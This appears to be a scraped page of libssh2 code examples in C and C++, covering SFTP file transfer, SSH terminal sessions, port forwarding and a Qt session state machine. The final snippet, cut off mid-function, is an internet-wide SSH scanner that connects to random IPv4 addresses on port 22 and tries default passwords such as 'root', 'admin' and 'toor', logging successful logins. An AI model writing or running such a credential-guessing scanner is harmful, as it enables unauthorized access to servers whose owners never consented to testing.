				data.prompt = utf8_to_unicode( "Password:"******"SFTP_" ).data(),
				        carray_cat<unicode_t>( userName.GetUnicode(), &userSymbol, _operParam.server.Data() ).data(),
				        &data, 1 ) ) { throw int( SSH_INTERROR_STOPPED ); }

				int ret;
				WHILE_EAGAIN_( ret, libssh2_userauth_password( sshSession,
				                                               ( char* )FSString( _operParam.user.Data() ).Get( _operParam.charset ),
				                                               ( char* )FSString( data.prompt.Data() ).Get( _operParam.charset ) ) );

				if ( ret ) { throw int( ret - 1000 ); }

				break; //!!!
			}
			else if ( !strncmp( authList, kInterId, strlen( kInterId ) ) )
			{
				MutexLock lock( &kbdIntMutex );
				kbdIntInfo = info;
				kbdIntParam = &_operParam;

				int ret;
				WHILE_EAGAIN_( ret,
				               libssh2_userauth_keyboard_interactive( sshSession,
				                                                      ( char* )FSString( _operParam.user.Data() ).Get( _operParam.charset ),
				                                                      KbIntCallback )
				             );

				if ( ret ) { throw int( ret - 1000 ); }

				break; //!!!
			}

			char* s = authList;

			while ( *s && *s != ',' ) { s++; }

			if ( !*s ) { break; }

			authList = s + 1;
		};


		while ( true )
		{
			sftpSession = libssh2_sftp_init( sshSession );

			if ( sftpSession ) { break; }

			if ( !sftpSession )
			{
				int e = libssh2_session_last_errno( sshSession );

				if ( e != LIBSSH2_ERROR_EAGAIN ) { throw int( e - 1000 ); }
			}

			WaitSocket( info );
		}

		return 0;

	}
	catch ( int e )
	{
		if ( err ) { *err = e; }

		//if (sftpSession) ??? похоже закрытие сессии все решает
		if ( sshSession ) { libssh2_session_free( sshSession ); }

		sshSession = 0;
		sftpSession = 0;
		_sock.Close( false );
		return ( e == -2 ) ? -2 : -1;
	}

}
예제 #18
0
int main(int argc, char *argv[])
{
    unsigned long hostaddr;
    int sock, i, auth_pw = 1;
    struct sockaddr_in sin;
    const char *fingerprint;
    LIBSSH2_SESSION *session;
    const char *username="******";
    const char *password="******";
    const char *sftppath="/tmp/TEST";
    struct timeval start;
    struct timeval end;
    int rc;
    int total = 0;
    long time_ms;
    int spin = 0;
#if defined(HAVE_IOCTLSOCKET)
    long flag = 1;
#endif
    LIBSSH2_SFTP *sftp_session;
    LIBSSH2_SFTP_HANDLE *sftp_handle;

#ifdef WIN32
    WSADATA wsadata;

    WSAStartup(MAKEWORD(2,0), &wsadata);
#endif

    if (argc > 1) {
        hostaddr = inet_addr(argv[1]);
    } else {
        hostaddr = htonl(0x7F000001);
    }

    if (argc > 2) {
        username = argv[2];
    }
    if (argc > 3) {
        password = argv[3];
    }
    if (argc > 4) {
        sftppath = argv[4];
    }

    rc = libssh2_init (0);
    if (rc != 0) {
        fprintf (stderr, "libssh2 initialization failed (%d)\n", rc);
        return 1;
    }

    /*
     * The application code is responsible for creating the socket
     * and establishing the connection
     */
    sock = socket(AF_INET, SOCK_STREAM, 0);

    sin.sin_family = AF_INET;
    sin.sin_port = htons(22);
    sin.sin_addr.s_addr = hostaddr;
    if (connect(sock, (struct sockaddr*)(&sin),
                sizeof(struct sockaddr_in)) != 0) {
        fprintf(stderr, "failed to connect!\n");
        return -1;
    }

    /* Create a session instance */
    session = libssh2_session_init();
    if (!session)
        return -1;

    /* Since we have set non-blocking, tell libssh2 we are non-blocking */
    libssh2_session_set_blocking(session, 0);

    gettimeofday(&start, NULL);

    /* ... start it up. This will trade welcome banners, exchange keys,
        * and setup crypto, compression, and MAC layers
        */
    while ((rc = libssh2_session_startup(session, sock)) ==
           LIBSSH2_ERROR_EAGAIN);
    if (rc) {
        fprintf(stderr, "Failure establishing SSH session: %d\n", rc);
        return -1;
    }

    /* At this point we havn't yet authenticated.  The first thing to do
        * is check the hostkey's fingerprint against our known hosts Your app
        * may have it hard coded, may go to a file, may present it to the
        * user, that's your call
        */
    fingerprint = libssh2_hostkey_hash(session, LIBSSH2_HOSTKEY_HASH_SHA1);
    fprintf(stderr, "Fingerprint: ");
    for(i = 0; i < 20; i++) {
        fprintf(stderr, "%02X ", (unsigned char)fingerprint[i]);
    }
    fprintf(stderr, "\n");

    if (auth_pw) {
        /* We could authenticate via password */
        while ((rc = libssh2_userauth_password(session, username, password))
               == LIBSSH2_ERROR_EAGAIN);
        if (rc) {
            fprintf(stderr, "Authentication by password failed.\n");
            goto shutdown;
        }
    } else {
        /* Or by public key */
        while ((rc =
                libssh2_userauth_publickey_fromfile(session, username,
                                                    "/home/username/"
                                                    ".ssh/id_rsa.pub",
                                                    "/home/username/"
                                                    ".ssh/id_rsa",
                                                    password)) ==
               LIBSSH2_ERROR_EAGAIN);
        if (rc) {
            fprintf(stderr, "\tAuthentication by public key failed\n");
            goto shutdown;
        }
    }
#if 0
    libssh2_trace(session, LIBSSH2_TRACE_CONN);
#endif
    fprintf(stderr, "libssh2_sftp_init()!\n");
    do {
        sftp_session = libssh2_sftp_init(session);

        if(!sftp_session) {
            if(libssh2_session_last_errno(session) ==
               LIBSSH2_ERROR_EAGAIN) {
                fprintf(stderr, "non-blocking init\n");
                waitsocket(sock, session); /* now we wait */
            }
            else {
                fprintf(stderr, "Unable to init SFTP session\n");
                goto shutdown;
            }
        }
    } while (!sftp_session);

    fprintf(stderr, "libssh2_sftp_open()!\n");
    /* Request a file via SFTP */
    do {
        sftp_handle = libssh2_sftp_open(sftp_session, sftppath,
                                        LIBSSH2_FXF_READ, 0);

        if (!sftp_handle) {
            if (libssh2_session_last_errno(session) != LIBSSH2_ERROR_EAGAIN) {
                fprintf(stderr, "Unable to open file with SFTP\n");
                goto shutdown;
            }
            else {
                fprintf(stderr, "non-blocking open\n");
                waitsocket(sock, session); /* now we wait */
            }
        }
    } while (!sftp_handle);

    fprintf(stderr, "libssh2_sftp_open() is done, now receive data!\n");
    do {
        char mem[1024*24];

        /* loop until we fail */
        while ((rc = libssh2_sftp_read(sftp_handle, mem,
                                       sizeof(mem))) == LIBSSH2_ERROR_EAGAIN) {
            spin++;
            waitsocket(sock, session); /* now we wait */
        }
        if (rc > 0) {
            total += rc;
            write(1, mem, rc);
        } else {
            break;
        }
    } while (1);

    gettimeofday(&end, NULL);
    time_ms = tvdiff(end, start);
    printf("Got %d bytes in %ld ms = %.1f bytes/sec spin: %d\n", total,
           time_ms, total/(time_ms/1000.0), spin );

    libssh2_sftp_close(sftp_handle);
    libssh2_sftp_shutdown(sftp_session);

shutdown:

    printf("libssh2_session_disconnect\n");
    while (libssh2_session_disconnect(session,
                                      "Normal Shutdown, Thank you") ==
           LIBSSH2_ERROR_EAGAIN);
    libssh2_session_free(session);

#ifdef WIN32
    closesocket(sock);
#else
    close(sock);
#endif
    fprintf(stderr, "all done\n");

    libssh2_exit();

    return 0;
}
예제 #19
0
int main(int argc, char *argv[])
{
    unsigned long hostaddr;
    int sock, i, auth_pw = 1;
    struct sockaddr_in sin;
    const char *fingerprint;
    LIBSSH2_SESSION *session;
    const char *username="******";
    const char *password="******";
    const char *loclfile="sftp_write_nonblock.c";
    const char *sftppath="/tmp/sftp_write_nonblock.c";
    int rc;
    FILE *local;
    LIBSSH2_SFTP *sftp_session;
    LIBSSH2_SFTP_HANDLE *sftp_handle;
    char mem[1024 * 1000];
    size_t nread;
    size_t memuse;
    time_t start;
    long total = 0;
    int duration;

#ifdef WIN32
    WSADATA wsadata;

    WSAStartup(MAKEWORD(2,0), &wsadata);
#endif

    if (argc > 1) {
        hostaddr = inet_addr(argv[1]);
    } else {
        hostaddr = htonl(0x7F000001);
    }

    if (argc > 2) {
        username = argv[2];
    }
    if (argc > 3) {
        password = argv[3];
    }
    if (argc > 4) {
        loclfile = argv[4];
    }
    if (argc > 5) {
        sftppath = argv[5];
    }

    rc = libssh2_init (0);
    if (rc != 0) {
        fprintf (stderr, "libssh2 initialization failed (%d)\n", rc);
        return 1;
    }

    local = fopen(loclfile, "rb");
    if (!local) {
        printf("Can't local file %s\n", loclfile);
        return -1;
    }

    /*
     * The application code is responsible for creating the socket
     * and establishing the connection
     */
    sock = socket(AF_INET, SOCK_STREAM, 0);

    sin.sin_family = AF_INET;
    sin.sin_port = htons(22);
    sin.sin_addr.s_addr = hostaddr;
    if (connect(sock, (struct sockaddr*)(&sin),
                sizeof(struct sockaddr_in)) != 0) {
        fprintf(stderr, "failed to connect!\n");
        return -1;
    }

    /* Create a session instance
        */
    session = libssh2_session_init();
    if (!session)
        return -1;

    /* Since we have set non-blocking, tell libssh2 we are non-blocking */
    libssh2_session_set_blocking(session, 0);

    /* ... start it up. This will trade welcome banners, exchange keys,
        * and setup crypto, compression, and MAC layers
        */
    while ((rc = libssh2_session_handshake(session, sock))
           == LIBSSH2_ERROR_EAGAIN);
    if (rc) {
        fprintf(stderr, "Failure establishing SSH session: %d\n", rc);
        return -1;
    }

    /* At this point we havn't yet authenticated.  The first thing to do is
     * check the hostkey's fingerprint against our known hosts Your app may
     * have it hard coded, may go to a file, may present it to the user,
     * that's your call
     */
    fingerprint = libssh2_hostkey_hash(session, LIBSSH2_HOSTKEY_HASH_SHA1);
    printf("Fingerprint: ");
    for(i = 0; i < 20; i++) {
        printf("%02X ", (unsigned char)fingerprint[i]);
    }
    printf("\n");

    if (auth_pw) {
        /* We could authenticate via password */
        while ((rc = libssh2_userauth_password(session, username, password)) ==
               LIBSSH2_ERROR_EAGAIN);
        if (rc) {
            printf("Authentication by password failed.\n");
            goto shutdown;
        }
    } else {
        /* Or by public key */
        while ((rc = libssh2_userauth_publickey_fromfile(session, username,
                                                         "/home/username/.ssh/id_rsa.pub",
                                                         "/home/username/.ssh/id_rsa",
                                                         password)) ==
               LIBSSH2_ERROR_EAGAIN);
    if (rc) {
            printf("\tAuthentication by public key failed\n");
            goto shutdown;
        }
    }

    fprintf(stderr, "libssh2_sftp_init()!\n");
    do {
        sftp_session = libssh2_sftp_init(session);

        if (!sftp_session &&
            (libssh2_session_last_errno(session) != LIBSSH2_ERROR_EAGAIN)) {
            fprintf(stderr, "Unable to init SFTP session\n");
            goto shutdown;
        }
    } while (!sftp_session);

    fprintf(stderr, "libssh2_sftp_open()!\n");
    /* Request a file via SFTP */
    do {
        sftp_handle =
        libssh2_sftp_open(sftp_session, sftppath,
                          LIBSSH2_FXF_WRITE|LIBSSH2_FXF_CREAT|LIBSSH2_FXF_TRUNC,
                          LIBSSH2_SFTP_S_IRUSR|LIBSSH2_SFTP_S_IWUSR|
                          LIBSSH2_SFTP_S_IRGRP|LIBSSH2_SFTP_S_IROTH);

        if (!sftp_handle &&
            (libssh2_session_last_errno(session) != LIBSSH2_ERROR_EAGAIN)) {
            fprintf(stderr, "Unable to open file with SFTP\n");
            goto shutdown;
        }
    } while (!sftp_handle);

    fprintf(stderr, "libssh2_sftp_open() is done, now send data!\n");

    start = time(NULL);

    memuse = 0; /* it starts blank */
    do {
        nread = fread(&mem[memuse], 1, sizeof(mem)-memuse, local);
        if (nread <= 0) {
            /* end of file */
            if (memuse > 0)
                /* the previous sending is not finished */
                nread = 0;
            else
                break;
        }
        memuse += nread;
        total += nread;

        /* write data in a loop until we block */
        while ((rc = libssh2_sftp_write(sftp_handle, mem, memuse)) ==
               LIBSSH2_ERROR_EAGAIN) {
            waitsocket(sock, session);
        }
        if(rc < 0)
            break;

        if(memuse - rc) {
            /* make room for more data at the end of the buffer */
            memmove(&mem[0], &mem[rc], memuse - rc);
            memuse -= rc;
        }
        else
            /* 'mem' was consumed fully */
            memuse = 0;

    } while (rc > 0);

    duration = (int)(time(NULL)-start);

    printf("%ld bytes in %d seconds makes %.1f bytes/sec\n",
           total, duration, total/(double)duration);


    fclose(local);
    libssh2_sftp_close(sftp_handle);
    libssh2_sftp_shutdown(sftp_session);

shutdown:

    while (libssh2_session_disconnect(session, "Normal Shutdown, Thank you for playing")
           == LIBSSH2_ERROR_EAGAIN);
    libssh2_session_free(session);

#ifdef WIN32
    closesocket(sock);
#else
    close(sock);
#endif
    printf("all done\n");

    libssh2_exit();

    return 0;
}
예제 #20
0
void* ssh_client_thread(void* data) {

    guac_client* client = (guac_client*) data;
    ssh_guac_client_data* client_data = (ssh_guac_client_data*) client->data;

    char name[1024];

    guac_socket* socket = client->socket;
    char buffer[8192];
    int bytes_read = -1234;

    int socket_fd;
    int stdout_fd = client_data->term->stdout_pipe_fd[1];

    pthread_t input_thread;

    libssh2_init(0);

    /* Get username */
    if (client_data->username[0] == 0)
        prompt(client, "Login as: ", client_data->username, sizeof(client_data->username), true);

    /* Send new name */
    snprintf(name, sizeof(name)-1, "%s@%s", client_data->username, client_data->hostname);
    guac_protocol_send_name(socket, name);

    /* If key specified, import */
    if (client_data->key_base64[0] != 0) {

        /* Attempt to read key without passphrase */
        client_data->key = ssh_key_alloc(client_data->key_base64,
                strlen(client_data->key_base64), "");

        /* On failure, attempt with passphrase */
        if (client_data->key == NULL) {

            /* Prompt for passphrase if missing */
            if (client_data->key_passphrase[0] == 0)
                prompt(client, "Key passphrase: ", client_data->key_passphrase,
                        sizeof(client_data->key_passphrase), false);

            /* Import key with passphrase */
            client_data->key = ssh_key_alloc(client_data->key_base64,
                    strlen(client_data->key_base64),
                    client_data->key_passphrase);

            /* If still failing, give up */
            if (client_data->key == NULL) {
                guac_client_log_error(client, "Auth key import failed.");
                return NULL;
            }

        } /* end decrypt key with passphrase */

        /* Success */
        guac_client_log_info(client, "Auth key successfully imported.");

    } /* end if key given */

    /* Otherwise, get password if not provided */
    else if (client_data->password[0] == 0)
        prompt(client, "Password: "******"\x1B[H\x1B[J", 6);

    /* Open SSH session */
    client_data->session = __guac_ssh_create_session(client, &socket_fd);
    if (client_data->session == NULL) {
        /* Already aborted within __guac_ssh_create_session() */
        return NULL;
    }

    /* Open channel for terminal */
    client_data->term_channel = libssh2_channel_open_session(client_data->session);
    if (client_data->term_channel == NULL) {
        guac_client_abort(client, GUAC_PROTOCOL_STATUS_UPSTREAM_ERROR, "Unable to open terminal channel.");
        return NULL;
    }

#ifdef ENABLE_SSH_AGENT
    /* Start SSH agent forwarding, if enabled */
    if (client_data->enable_agent) {
        libssh2_session_callback_set(client_data->session,
                LIBSSH2_CALLBACK_AUTH_AGENT, (void*) ssh_auth_agent_callback);

        /* Request agent forwarding */
        if (libssh2_channel_request_auth_agent(client_data->term_channel))
            guac_client_log_error(client, "Agent forwarding request failed");
        else
            guac_client_log_info(client, "Agent forwarding enabled.");
    }

    client_data->auth_agent = NULL;
#endif

    /* Start SFTP session as well, if enabled */
    if (client_data->enable_sftp) {

        /* Create SSH session specific for SFTP */
        guac_client_log_info(client, "Reconnecting for SFTP...");
        client_data->sftp_ssh_session = __guac_ssh_create_session(client, NULL);
        if (client_data->sftp_ssh_session == NULL) {
            /* Already aborted within __guac_ssh_create_session() */
            return NULL;
        }

        /* Request SFTP */
        client_data->sftp_session = libssh2_sftp_init(client_data->sftp_ssh_session);
        if (client_data->sftp_session == NULL) {
            guac_client_abort(client, GUAC_PROTOCOL_STATUS_UPSTREAM_ERROR, "Unable to start SFTP session.");
            return NULL;
        }

        /* Set file handler */
        client->file_handler = guac_sftp_file_handler;

        guac_client_log_info(client, "SFTP session initialized");

    }

    /* Request PTY */
    if (libssh2_channel_request_pty_ex(client_data->term_channel, "linux", sizeof("linux")-1, NULL, 0,
            client_data->term->term_width, client_data->term->term_height, 0, 0)) {
        guac_client_abort(client, GUAC_PROTOCOL_STATUS_UPSTREAM_ERROR, "Unable to allocate PTY.");
        return NULL;
    }

    /* Request shell */
    if (libssh2_channel_shell(client_data->term_channel)) {
        guac_client_abort(client, GUAC_PROTOCOL_STATUS_UPSTREAM_ERROR, "Unable to associate shell with PTY.");
        return NULL;
    }

    /* Logged in */
    guac_client_log_info(client, "SSH connection successful.");

    /* Start input thread */
    if (pthread_create(&(input_thread), NULL, ssh_input_thread, (void*) client)) {
        guac_client_abort(client, GUAC_PROTOCOL_STATUS_SERVER_ERROR, "Unable to start input thread");
        return NULL;
    }

    /* Set non-blocking */
    libssh2_session_set_blocking(client_data->session, 0);

    /* While data available, write to terminal */
    bytes_read = 0;
    while (!libssh2_channel_eof(client_data->term_channel)) {

        /* Track total amount of data read */
        int total_read = 0;

        /* Read terminal data */
        bytes_read = libssh2_channel_read(client_data->term_channel,
                buffer, sizeof(buffer));

        /* Attempt to write data received. Exit on failure. */
        if (bytes_read > 0) {
            int written = guac_terminal_write_all(stdout_fd, buffer, bytes_read);
            if (written < 0)
                break;

            total_read += bytes_read;
        }

        else if (bytes_read < 0 && bytes_read != LIBSSH2_ERROR_EAGAIN)
            break;

#ifdef ENABLE_SSH_AGENT
        /* If agent open, handle any agent packets */
        if (client_data->auth_agent != NULL) {
            bytes_read = ssh_auth_agent_read(client_data->auth_agent);
            if (bytes_read > 0)
                total_read += bytes_read;
            else if (bytes_read < 0 && bytes_read != LIBSSH2_ERROR_EAGAIN)
                client_data->auth_agent = NULL;
        }
#endif

        /* Wait for more data if reads turn up empty */
        if (total_read == 0) {
            fd_set fds;
            struct timeval timeout;

            FD_ZERO(&fds);
            FD_SET(socket_fd, &fds);

            /* Wait for one second */
            timeout.tv_sec = 1;
            timeout.tv_usec = 0;

            if (select(socket_fd+1, &fds, NULL, NULL, &timeout) < 0)
                break;
        }

    }

    /* Kill client and Wait for input thread to die */
    guac_client_stop(client);
    pthread_join(input_thread, NULL);

    guac_client_log_info(client, "SSH connection ended.");
    return NULL;

}
예제 #21
0
파일: session.c 프로젝트: vianney/ssh4py
static int
session_set_blocking(SSH2_SessionObj *self, PyObject *value, void *closure)
{
	libssh2_session_set_blocking(self->session, PyObject_IsTrue(value));
	return 0;
}
예제 #22
0
/* sftp协议连接 */
static int sftp_connect(protocol_data_t *protocol, char *host, int port, char *username, 
            char *password)
{
    int rc;
    struct sockaddr_in sin;

    if (protocol == NULL || protocol->protocol_data == NULL || host == NULL
            || username == NULL || password == NULL) {
        return;
    }

    sftp_data_t *data = (sftp_data_t *)protocol->protocol_data;

    data->sock = socket(AF_INET, SOCK_STREAM, 0);
    if (data->sock == -1) {
        return -1;
    }

    sin.sin_family = AF_INET;
    sin.sin_port = htons(port);
    sin.sin_addr.s_addr = inet_addr(host);

    rc = unblock_connect(data->sock, (struct sockaddr*)(&sin), sizeof(struct sockaddr_in));
    if (rc != 0) {
        close(data->sock);
        return -1;
    } 
    
    data->session = libssh2_session_init();
    if(!data->session) {
        close(data->sock);
        return -1;
    }

    rc = libssh2_session_handshake(data->session, data->sock);
    if(rc) {
        close(data->sock);
        return -1;
    }

    rc = libssh2_userauth_password(data->session, username, password);
    if (rc) {
        goto shutdown;
    }

    data->sftp_session = libssh2_sftp_init(data->session);
    if (!data->sftp_session) {
        goto shutdown;
    }

    libssh2_session_set_blocking(data->session, 1);
    
    /* TODO: 赋值 */

    return 0;
        
shutdown:
    libssh2_session_disconnect(data->session, "Normal Shutdown");
    libssh2_session_free(data->session);
    close(data->sock);

    return -1;    
}
예제 #23
0
void *
CSubThread::Entry()
{
	fd_set fds;
	struct timeval tv;
	ssize_t len, wr;
	char buf[20480];
	int rc, i = 0;

	const char *shost = inet_ntoa(m_sin.sin_addr);
	unsigned int sport = ntohs(m_sin.sin_port);

	wxLogInfo(wxT("Forwarding connection from %s:%d to %s:%d"), wxString(inet_ntoa(m_sin.sin_addr), wxConvLibc).c_str(),
	          sport, m_remote_desthost.c_str(), m_remote_destport);

	/* Must use blocking here to avoid connect errors */
	//libssh2_session_set_blocking(m_subThreadSession, 1);

	while((m_channel = libssh2_channel_direct_tcpip_ex(m_subThreadSession, m_remote_desthost.mb_str(),
	                   m_remote_destport, shost, sport)) == NULL)
	{
		rc = libssh2_session_last_error(m_subThreadSession, NULL, NULL, 0);
		if (rc == LIBSSH2_ERROR_EAGAIN)
			Sleep(10);
		else
			break;
	}

	/* Must use non-blocking IO hereafter due to the current libssh2 API */
	libssh2_session_set_blocking(m_subThreadSession, 0);

	if (!m_channel)
	{
		wxLogInfo(_("SSH error: Could not open a direct-tcpip channel!"));
		goto shutdown;
	}

	while (1)
	{
		FD_ZERO(&fds);
		FD_SET(m_forwardsock, &fds);
		tv.tv_sec = 0;
		tv.tv_usec = 100000;
		rc = select(m_forwardsock + 1, &fds, NULL, NULL, &tv);
		memset(buf, 0, sizeof(buf));
		if (-1 == rc)
		{
			wxLogInfo(_("SSH error: select failed with error code %d"), wxSysErrorCode());
			goto shutdown;
		}
		if (rc && FD_ISSET(m_forwardsock, &fds))
		{
			len = recv(m_forwardsock, buf, sizeof(buf), 0);
			if (len < 0)
			{
				wxLogInfo(_("SSH error: read failed with error code %d"), wxSysErrorCode());
				goto shutdown;
			}
			else if (0 == len)
			{
				wxLogInfo(_("The client at %s:%d disconnected!"), wxString(inet_ntoa(m_sin.sin_addr), wxConvLibc).c_str(), sport);
				goto shutdown;
			}
			wr = 0;
			do
			{
				i = libssh2_channel_write(m_channel, buf, len);

				if (i < 0)
				{
					wxLogInfo(_("SSH error: libssh2_channel_write with error code %d"), i);
					goto shutdown;
				}
				wr += i;
			}
			while (i > 0 && wr < len);
		}
		while (1)
		{
			len = libssh2_channel_read(m_channel, buf, sizeof(buf));

			if (LIBSSH2_ERROR_EAGAIN == len)
				break;
			else if (len < 0)
			{
				wxLogInfo(_("SSH error: libssh2_channel_read with error code %d"), (int)len);
				goto shutdown;
			}
			wr = 0;
			while (wr < len)
			{
				i = send(m_forwardsock, buf + wr, len - wr, 0);
				if (i <= 0)
				{
					wxLogInfo(_("SSH error: write failed with error code %d"), wxSysErrorCode());
					goto shutdown;
				}
				wr += i;
			}
			if (libssh2_channel_eof(m_channel))
			{
				wxLogInfo(_("Connection at %s:%d disconnected by server"),
				          wxString(inet_ntoa(m_sin.sin_addr), wxConvLibc).c_str(), sport);
				goto shutdown;
			}
		}
	}
shutdown:
#ifdef WIN32
	closesocket(m_forwardsock);
#else
	close(m_forwardsock);
#endif

	if (m_channel)
	{
		libssh2_channel_close(m_channel);
		libssh2_channel_free(m_channel);
		m_channel = NULL;
	}

	return NULL;
}
예제 #24
0
SSH_SESSION_STATE SSHSession::begin_session(){

    /////////////////////////////////////////////
    //Perform the connect call
    if(this->state == ::SESSION_PERFORM_CONNECT || this->state == ::SESSION_CLOSED){

        int ret = ::connect(this->sock, (struct sockaddr*)(&this->addr), sizeof(struct sockaddr_in));

#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
        int ec = WSAGetLastError();
        if(ret == SOCKET_ERROR &&  ec == WSAEWOULDBLOCK) {
            this->state = ::SESSION_SELECT_SOCKET;
         }
#else
    if(ret == -1 &&  errno == EINPROGRESS) {
           this->state = ::SESSION_SELECT_SOCKET;
    }
#endif
        //Success (will most likely never happen) ?
        else if(ret == 0){
            this->state = ::SESSION_PERFORM_INIT;

        //Major error
        } else{
            this->running_procs--;
            this->state = ::SESSION_OPEN_ERROR;
        }

    /////////////////////////////////////////////
    //Poll the socket after connect()
    }else if(this->state == ::SESSION_SELECT_SOCKET){

        fd_set fd_write, fd_error;
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
         TIMEVAL timeout;
#else
        struct timeval timeout;
#endif
        // timeout after 10 seconds
        int timeoutSec = 10;

        FD_ZERO(&fd_write);
        FD_ZERO(&fd_error);
        FD_SET(this->sock, &fd_write);
        FD_SET(this->sock, &fd_error);

        timeout.tv_sec = timeoutSec;
        timeout.tv_usec = 0;


#if defined( WIN32 ) || defined( _WIN32 ) || defined( __WIN32 ) && !defined( __CYGWIN__ )
        int ret = select( 0, NULL, &fd_write, &fd_error, &timeout );
#else
        int ret = select( this->sock + 1, NULL, &fd_write, &fd_error, &timeout );
#endif

        //Timed out ?
        if(ret == 0) {
            this->state = ::SESSION_OPEN_ERROR;
        }else{
            //socket data ?
            if(FD_ISSET(this->sock, &fd_write)) {
                this->state = ::SESSION_PERFORM_INIT;
                fprintf(stderr, "connect done..\n");
            }
            //socket error
            else if(FD_ISSET(this->sock, &fd_error)) {
                this->state = ::SESSION_OPEN_ERROR;
                this->running_procs--;
                fprintf(stderr, "connect error..\n");
            //Continue polling next pass
            }else{
                this->state = ::SESSION_SELECT_SOCKET;
            }

        }

    /////////////////////////////////////////////
    //Initialize the libssh2 session object
     }else if(this->state  == ::SESSION_PERFORM_INIT){

        //Create a session instance
        this->session = libssh2_session_init();
        if(!this->session){
            this->state = ::SESSION_OPEN_ERROR;
        }

        //Notify libssh2 we are non-blocking
        libssh2_session_set_blocking(this->session, 0);

        //Move on to the next step
        this->state = ::SESSION_PERFORM_HANDSHAKE;

    /////////////////////////////////////////////////////////////////////////////
    //Exchange welcome banners,keys and setup crypto, compression, and MAC layers
    }else if(this->state == ::SESSION_PERFORM_HANDSHAKE){

        rc = libssh2_session_handshake(this->session, this->sock);
        //Blocking ?
        if(rc == LIBSSH2_ERROR_EAGAIN){
            this->state = ::SESSION_PERFORM_HANDSHAKE;
        //Failure?
        }else if(rc){
            this->state = ::SESSION_OPEN_ERROR;
            this->running_procs--;
        }
        //success ?
        else if(rc == 0) {
            this->state = ::SESSION_PERFORM_AUTH;

            //Check the hostkey's fingerprint against know/stored fingerprint
            //const char* fingerprint = libssh2_hostkey_hash(this->session, LIBSSH2_HOSTKEY_HASH_SHA1);

            /*fprintf(stderr, "Fingerprint: ");
            qDebug() << "Fingerprint: ";
            for(i = 0; i < 20; i++) {
                    qDebug() <<  QString((unsigned char)fingerprint[i]);
            }*/

        }

    //////////////////////////
    //Perform authentication
    } else if(this->state == ::SESSION_PERFORM_AUTH){

        //Authenticate via password
        rc = libssh2_userauth_password(this->session, this->username.toUtf8().constData(), this->password.toUtf8().constData()) ;

        //blocking
        if(rc == LIBSSH2_ERROR_EAGAIN){
            this->state = ::SESSION_PERFORM_AUTH;
        }
        //failure?
        else if(rc){
            this->state = ::SESSION_OPEN_ERROR;
            this->running_procs--;
            qDebug() << "auth failed..\n";

        //success ?
        }else if(rc == 0){
            this->state = ::SESSION_OPEN;
            qDebug() << "auth done..\n";
            this->running_procs--;
            qDebug() << this->running_procs;

        }
    }

    return this->state;
}
예제 #25
0
void* thread_func(void* arg)
{
    int sockfd;
    sockaddr_in serv_addr;
    char curhost[26];
    boost::random::uniform_int_distribution<> dist(1, 9999999999999);//numeric_limits< unsigned long>::max());
    boost::random::mt19937 gen((int)pthread_self()+(int)time(NULL));
    LIBSSH2_SESSION *session=0;
    // HCkSsh ssh;
    srand((int)pthread_self()+rand()+time(NULL));
    while (do_scan)
    {
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
        if (sockfd < 0)
            deb("ERROR opening socket: %s\r\n",fmterr());
        setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int));
        long flags;
        flags		  = fcntl(sockfd, F_GETFL, 0);
        fcntl(sockfd, F_SETFL, flags | O_NONBLOCK);
        bzero((char *) &serv_addr, sizeof(serv_addr));
        serv_addr.sin_family = AF_INET;
        serv_addr.sin_port = htons(22);
        do
        {
            serv_addr.sin_addr.s_addr =   dist(gen);//getrnd(0,100000000000000);//rand();//inet_addr("195.2.253.204")
        }
        while (ischecking(serv_addr.sin_addr.s_addr));
        strncpy(curhost, inet_ntoa(serv_addr.sin_addr), sizeof(curhost));
        addchecking(serv_addr.sin_addr.s_addr);
        unsigned long chkdist=0;
        chkdist=dist(gen);
        int ret;
        //   deb("\rconnecting %16s ", inet_ntoa(serv_addr.sin_addr));
        ret=connect(sockfd, (struct sockaddr*) &serv_addr, sizeof( serv_addr));
        fd_set fds;
        //deb("ret:%d errno:%s (%d)\r\n",ret,strerror(errno),errno);
        // sleep(1);
        FD_ZERO(&fds);
        FD_SET(sockfd, &fds);
        tv.tv_sec = 2;
        tv.tv_usec = 0;
        char buf[1024];
        if (ret==0 || (ret==-1 && errno == EINPROGRESS))
        {
            ipscanned++;
            int res = select(sockfd+1,  &fds,&fds, 0, &tv);
            //deb("res:%d errno:%s (%d)\r\n",res,strerror(errno),errno);
            if (res < 0 && errno != EINTR)
            {
                //      deb("\r\n%s Error connecting %d - %s\n\r",
                //  	curhost, errno, strerror(errno));
            }
            else if (res > 0)
            {
                flags &= (~O_NONBLOCK);
                if ( fcntl(sockfd, F_SETFL, flags) < 0)
                {
                    deb("Error fcntl(..., F_SETFL) (%s)\n", strerror(errno));
                }
                int rcv;
                memset(buf, 0, sizeof(buf));
                rcv = recv(sockfd, buf, sizeof(buf), MSG_PEEK);
                //if (rcv>0)
                //  buf[rcv]=0;
                // if (rcv>0)
                // deb("rcv: %d %s\r\n",rcv, trim(buf));
                const char *username="******";
                const char *password="******";
                const char *sftppath="/tmp";
                int rc;
                const char *fingerprint;
                session = libssh2_session_init();
                libssh2_session_set_blocking(session, 1);
                int numTry=0;
                while (session>0 && (rc = libssh2_session_handshake(session, sockfd)) ==
                        LIBSSH2_ERROR_EAGAIN);
                int u;
                LIBSSH2_CHANNEL *channel=0;
                if (rc)
                {
                    if (rc!=-43)
                        deb("%16s failure establishing SSH session: %d [rnd: %lu, checking: %d]\n",
                            curhost,rc,chkdist,checking.size());
                    //return -1;
                }
                else
                {
                    totscanned++;
                    fingerprint = libssh2_hostkey_hash(session, LIBSSH2_HOSTKEY_HASH_SHA1);
                    deb( "%16s %-50s ", inet_ntoa(serv_addr.sin_addr),
                         trim(buf));
                    for (int i = 0; i < 20; i++)
                    {
                        deb(KYEL "%02X " RESET, (unsigned char)fingerprint[i]);
                    }
                    deb( "\n");
                    char* passwords[]={"root","admin","toor","r00t","adm",
                                       "secure","pwd","password","god"
                                      };
                    for ( u=0;u<3;u++)
                    {
                        if (libssh2_userauth_password(session, username, passwords[u]))
                        {
                            //       deb( "%16s " KRED "Authentication by password failed. [%s]\n"
                            //         RESET, inet_ntoa(serv_addr.sin_addr),passwords[u]);
                            continue;
                        }
                        else
                        {
                            deb(KCYN "%16s authenticated %s:%s \r\n" RESET,
                                inet_ntoa(serv_addr.sin_addr),
